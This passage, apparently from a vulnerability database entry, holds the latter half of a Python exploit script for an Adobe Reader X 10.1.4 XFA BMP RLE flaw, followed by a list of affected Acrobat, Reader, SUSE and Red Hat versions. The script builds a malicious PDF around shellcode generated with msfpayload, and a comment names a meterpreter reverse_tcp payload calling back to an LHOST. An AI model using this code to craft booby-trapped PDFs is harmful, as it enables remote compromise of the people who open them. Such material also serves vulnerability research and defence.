shellcode2 = PDFStream(PDFDict(), struct.pack("<L",0xcac0face)+"\xcc"*10)
doc.add(shellcode2)
#catalog
catalog = PDFDict()
catalog.add("Type", PDFName("Catalog"))
catalog.add("Pages", PDFRef(pages))
catalog.add("NeedsRendering", "true")
catalog.add("AcroForm", PDFRef(form))
adbe = PDFDict()
adbe.add("BaseVersion","/1.7")
adbe.add("ExtensionLevel",PDFNum(3))
extensions = PDFDict()
extensions.add("ADBE", adbe)
catalog.add("Extensions",extensions)
doc.add([catalog,pages,page,contents])
doc.setRoot(catalog)
#render it
return doc.__str__()
if __name__ == '__main__':
import optparse,os
from subprocess import Popen, PIPE
parser = optparse.OptionParser(description='Adobe Reader X 10.1.4 XFA BMP RLE Exploit')
parser.add_option('--debug', action='store_true', default=False, help='For debugging')
parser.add_option('--msfpayload', metavar='MSFPAYLOAD', default="windows/messagebox ", help="Metasploit payload. Ex. 'win32_exec CMD=calc'")
parser.add_option('--payload', metavar='PAYLOAD', default=None)
parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation')
(options, args) = parser.parse_args()
if options.doc:
print __doc__
os.exit(-1)
if options.debug:
print mkXFAPDF(),
os.exit(-1)
if options.payload == None:
#"windows/meterpreter/reverse_tcp LHOST=192.168.56.1 EXITFUNC=process R"
msfpayload = Popen("msfpayload4.4 %s R"%options.msfpayload, shell=True, stdout=PIPE)
shellcode = msfpayload.communicate()[0]
else:
shellcode = file(options.payload, "rb").read() #options.hexpayload.decode('hex')
print mkXFAPDF(shellcode),
Products Mentioned
Configuraton 0
Adobe>>Acrobat >> Version From (including) 9.0 To (excluding) 9.5.5
Adobe>>Acrobat >> Version From (including) 10.0 To (excluding) 10.1.7
Adobe>>Acrobat >> Version From (including) 11.0 To (excluding) 11.0.03
Adobe>>Acrobat_reader >> Version From (including) 9.0 To (excluding) 9.5.5
Adobe>>Acrobat_reader >> Version From (including) 10.0 To (excluding) 10.1.7
Adobe>>Acrobat_reader >> Version From (including) 11.0 To (excluding) 11.0.03
Configuraton 0
Suse>>Linux_enterprise_desktop >> Version 10
Suse>>Linux_enterprise_desktop >> Version 11
Configuraton 0
Redhat>>Enterprise_linux_desktop >> Version 6.0
Redhat>>Enterprise_linux_eus >> Version 5.9
Redhat>>Enterprise_linux_eus >> Version 6.4
Redhat>>Enterprise_linux_server >> Version 6.0
Redhat>>Enterprise_linux_server_aus >> Version 5.9
Redhat>>Enterprise_linux_server_aus >> Version 6.4
Redhat>>Enterprise_linux_workstation >> Version 6.0
References